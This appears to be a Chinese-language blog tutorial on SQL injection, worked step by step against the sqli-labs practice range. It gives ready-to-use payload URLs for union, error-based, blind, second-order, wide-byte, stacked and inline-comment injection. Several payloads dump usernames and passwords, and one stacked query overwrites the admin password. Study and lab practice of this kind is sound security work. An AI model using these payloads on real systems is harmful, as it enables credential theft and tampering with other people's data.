SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战

SQL注入简介

SQL注入原理

SQL注入是通过将恶意的sql语句插入到应用代码中,由于过滤不严导致的在后台执行恶意sql语句而产生的漏洞。

SQL注入类型

  1. 注入参数:数字型注入、字符型注入、搜索型注入
  2. 注入方法:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入
  3. 提交方式:GET注入、POST注入、COOKIE注入、HTTP头注入

(一)SQL注入流程(联合注入)

源码分析

这里以sqli-lab靶场第一关为例,进行实例注入。

源码分析是写给新手阅读的,大佬请跳过。

首先查看一下我们的sqli-lab靶场的第一关的源码,详解如下图所示:

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第1张图片

通用流程

分析完最基础的sql注入后,接下来开始走通用流程注入。

  1. 判断注入类型

    http://bachang.cn/sqli/Less-1/?id=1' or 1=1 --+
    

    SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第2张图片

  2. 判断字段个数

    http://bachang.cn/sqli/Less-1/?id=1' order by 3 --+
    

    SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第3张图片

  3. 判断回显位

    http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+
    

    SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第4张图片

  4. 查询版本和数据库名

    http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,version(),database() --+
    

    SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第5张图片

  5. 查询表名和字段名

    http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
    

    SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第6张图片

    http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+
    

    SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第7张图片

  6. 查询内容

    http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users --+
    

    SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第8张图片

以上即为sql注入的通用流程,熟练掌握该流程,即可继续解锁新姿势。

(二)报错注入的x种注入姿势

经测试:高版本Mysql可以采用前两种注入,不能采用后三种报错注入。推测以MySql版本5以上为高版本,5.7版本可采用前三种报错注入

1.ExtractValue注入

原型:ExtractValue( xml_frag , xpath_expr)

在第二个参数中传入0x7e(即~)会使得该函数报错

EXP

extractvalue(null,concat(0x7e,(select database()),0x7e))

concat中间的参数即为构造注入的点。

实例

这里以sqli-lab靶场第五关为例,进行实例注入。同样的我们走通用流程,先判断注入类型

http://bachang.cn/sqli/Less-5/?id=1' and 1=2--+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第9张图片

执行完该条EXP后,无任何回显,判断为字符型注入。

由于通用流程中已得出数据库名、表名和字段名,此处不再费唇舌过多介绍构造前几步的exp,因此直接构造最终注入的exp可得:

http://bachang.cn/sqli/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select group_concat(password) from users),0x7e)) --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第10张图片

2.UpdateXml注入

原型:updatexml(XML_document, XPath_string, new_value)

在第二个参数中传入0x7e(即~)会使得该函数报错

EXP

updatexml(null,concat(0x7e,(SELECT database()),0x7e),null)

实例

这里以sqli-lab靶场第五关为例,进行实例注入。由上ExtractValue注入中可知为字符型注入和之前得出的一些基本信息,故在此直接构造最终EXP进行注入。

http://bachang.cn/sqli/Less-5/?id=1' and updatexml(null,concat(0x7e,(select group_concat(password) from users),0x7e),null) --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第11张图片

3.Floor报错注入

原理:floor,count,group by在一块冲突产生的报错

经测试:MySql版本为8.0.12不支持该报错注入,会提示版本的问题,将其换成5.7即可进行注入。

EXP

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2)) as x from information_schema.tables group by x) as a)

实例

这里以sqli-lab靶场第五关为例,进行实例注入。

同样的,此处采用已知数据库的基本信息和字符型注入,直接构造EXP进行注入。

http://bachang.cn/sqli/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(password) from users),floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第12张图片

提示我们的返回信息超过一行,构造如下exp即可解决改窘境。

http://bachang.cn/sqli/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand(0)*2)) as x from security.users group by x) as a) --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第13张图片

4.EXP注入

此exp非彼exp;此exp为函数exp()。

原型:exp(x)

x为求e的x次方,是一个数学函数,当x>709就会报错

经测试:高点儿的MySql版本基本上无法通过此方式进行注入,会提示DOUBLE字样的错误,即为无法支持该注入,故不再演示。

EXP

union select exp(~(select * from(select database()) as a))

采用union进行注入需注意对应字段个数和回显位

5.BigInt注入

进行~0操作即可溢出,导致注入发生。

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第14张图片

EXP

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

经测试:高点儿的MySql版本基本上无法通过此方式进行注入,会提示错误,即为无法支持该注入,故不再演示。

报错注入在此介绍结束。

(三)盲注

1. 布尔盲注

布尔盲注会根据注入返回True或False,以此来判断真假。

EXP

and (length(database()))>1
and (ascii(substr(database(),1,1)))=1

实例

这里以sqli-lab靶场第七关为例,进行实例注入。

先判断注入类型,这里试了几个我们构造的:

http://bachang.cn/sqli/Less-7/?id=1 and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1' and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1" and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1') and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1") and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1')) and 1=2 --+

试到最后一个的时候发现如下所示:

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第15张图片

之前的提示为:You are in… Use outfile…

故为字符型注入,且构造了两个括号即可绕过。此时我们构造如下exp查找数据库名进行注入:

http://bachang.cn/sqli/Less-7/?id=1')) and length(database())=9 --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第16张图片

修改最后的数字为8发现显示正常,故该数据库名的长度为8位。继续构造如下exp,依次截取一个字符核对ascii码值:

http://bachang.cn/sqli/Less-7/?id=1')) and (ascii(substr(database(),1,1)))=1 --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第17张图片

此时我们上burp,进行爆破,burp抓包后Ctrl+I后,设置如下图所示:

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第18张图片

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第19张图片

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第20张图片

然后开始爆破,爆破结束后点击length进行排序,也就是根据返回的数据长度进行排序,长度不一的便是正确的ascii排序结果,这里返回的长度倒是都是一样,打脸,那我们就挨个找返回结果里有”You are in… Use outfile…“的,如下图所示:

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第21张图片

最终找到的结果转为ascii对应的字符排序起来为:security,我就不挨个找了。同理我们需要获取字段名和数据,因为之前获取到了表名以及字段名,就不挨个展示获取了,这里就直接构造最终取数据的exp如下:

http://bachang.cn/sqli/Less-7/?id=1')) and length((select password from users limit 0,1))=4 --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第22张图片

依此判断第一个密码长度为4个,再对其进行爆破,爆破方法同上。**这里需要主义的是limit 0,1:0为第一个。**故构造EXP如下进行爆破:

http://bachang.cn/sqli/Less-7/?id=1')) and (ascii(substr((select password from users limit 0,1),1,1)))=1 --+

设置同上,需注意设置limit第一个参数的七时至应从0开始。爆破结果验证的方法同上采用在返回值里查找关键字符法。

若需要验证users表中有多少个值,则构造exp如下进行验证,这样上面的爆破就只需要挨个爆破limit的范围为0~12即可:

http://bachang.cn/sqli/Less-7/?id=1')) and (select count(password) from users)=13 --+

2. 时间盲注

布尔盲注和时间盲注两者没有太大差别,多了一个if和sleep而已。查询成功则立马回显。

EXP

and if(1=2,1,sleep(3))

实例

这里以sqli-lab靶场第九关为例,进行实例注入。

注入方法同上布尔盲注,故在此构造最终exp:

http://bachang.cn/sqli/Less-9/?id=1' and if((ascii(substr((select password from users limit 0,1),1,1)))=68,sleep(3),1) --+

这里我把sleep函数放到if语句的第二个参数了,即条件正确就延迟返回,然后同上爆破即可得出数据。经测试,这一关可通过返回的length长度为依据判断返回结果得出数据。

(四)二次注入

构造的sql语句插入到数据库,经过其它的sql语句调用时触发

EXP

这里没有固定的exp,需要挨个测试找到注入类型,然后修改单引号。

admin'#

实例

这里以sqli-lab靶场第二十四关为例,进行实例注入。

首先点击新建用户,然后输入构造的用户名:

admin'#

输入密码123456,注册。注册成功后我们查看一下数据库用户表的信息,重点关注我截取的两行字段:

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第23张图片

然后进行登录,修改密码,这里我们将密码改成123123

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第24张图片

点击修改按钮,然后会提示修改成功,此时我们进入数据库查看一下我们的密码修改情况:

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第25张图片

可以看到我们本身的密码没有被修改,然后我们admin账户的密码被修改成了123123,实现了二次注入。

(五)宽字节注入

宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等

宽字节注入指的是mysql使用gbk编码时,gbk编码两个字节代表一个汉字,而网页里使用的是utf-8编码。转义符号被吃掉。

EXP

?id=1%df' and 1=1%23

看这个exp,提交后遇到转义函数会被转义为1’,这时,再转换为url编码就是%df%5c%27,而%df%5c会被gbk编码合并成为一个汉字,从而吃掉了第一次的转义符 \ 。造成宽字节注入。

实例

这里以sqli-lab靶场第三十二关为例,进行实例注入。

我们构造如下的exp进行注入:

http://bachang.cn/sqli/Less-32/?id=1%df' and 1=1%23

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第26张图片

可以看到下方倒数第二行最后面的转义符被吃掉了,成功注入。若未构造%df,则输出的是:1’ and 1=1#。这里我就不再演示了。之后我们构造exp进行注入获取数据库名:

http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,database()  %23

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第27张图片

继续获取表名,构造exp如下:

http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'  %23

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第28张图片

可以看到构造的exp被转义了。于是想着使用%df继续绕过,构造exp如下:

http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=%df'security%df'  %23

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第29张图片

发现居然获取不了,纳闷,仔细观察发现后面注入的转义后为:�’security�’ #也就是说没有security�这个表,当然就找不到了。于是乎,换一种方式进行绕过,将security转成16进制,构造exp如下:

http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第30张图片

然后就是对数据进行注入了,就不一一注入了,具体参考sql注入通用流程。此处直接构造最终exp如下:

http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users %23

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第31张图片

(六)堆叠注入

顾名思义,将多条sql语句一起执行。

前提是mysqli_multi_query()函数执行sql语句,未过滤分号";"

EXP

既然都可以堆叠注入了,那就随兴发挥就好

实例

这里以sqli-lab靶场第三十八关为例,进行实例注入。

经过sql通用流程得到的信息,构造exp如下:

http://bachang.cn/sqli/Less-38/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users;update security.users set password='admin' where username='admin' --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第32张图片

再次访问这个exp,上图框选处则被改为下图所示:

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第33张图片

(七)内联查询注入

这里以sqli-lab靶场第三十八关为例,进行实例注入。

EXP

/*! xxxx */

xxxx为sql语句中的东西。

正确示例:

select * /*!from users*/;
/*!select*/ * from users;

错误示例:

/*!select * from users*/;

实例

这里以sqli-lab靶场第一关为例,进行实例注入。

http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union /*! select */ 1,2,database() --+

SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战_第34张图片

sql注入到此就完结了,光看可不够,还得配合靶场练练手哦~

你可能感兴趣的:(sql,web安全,安全)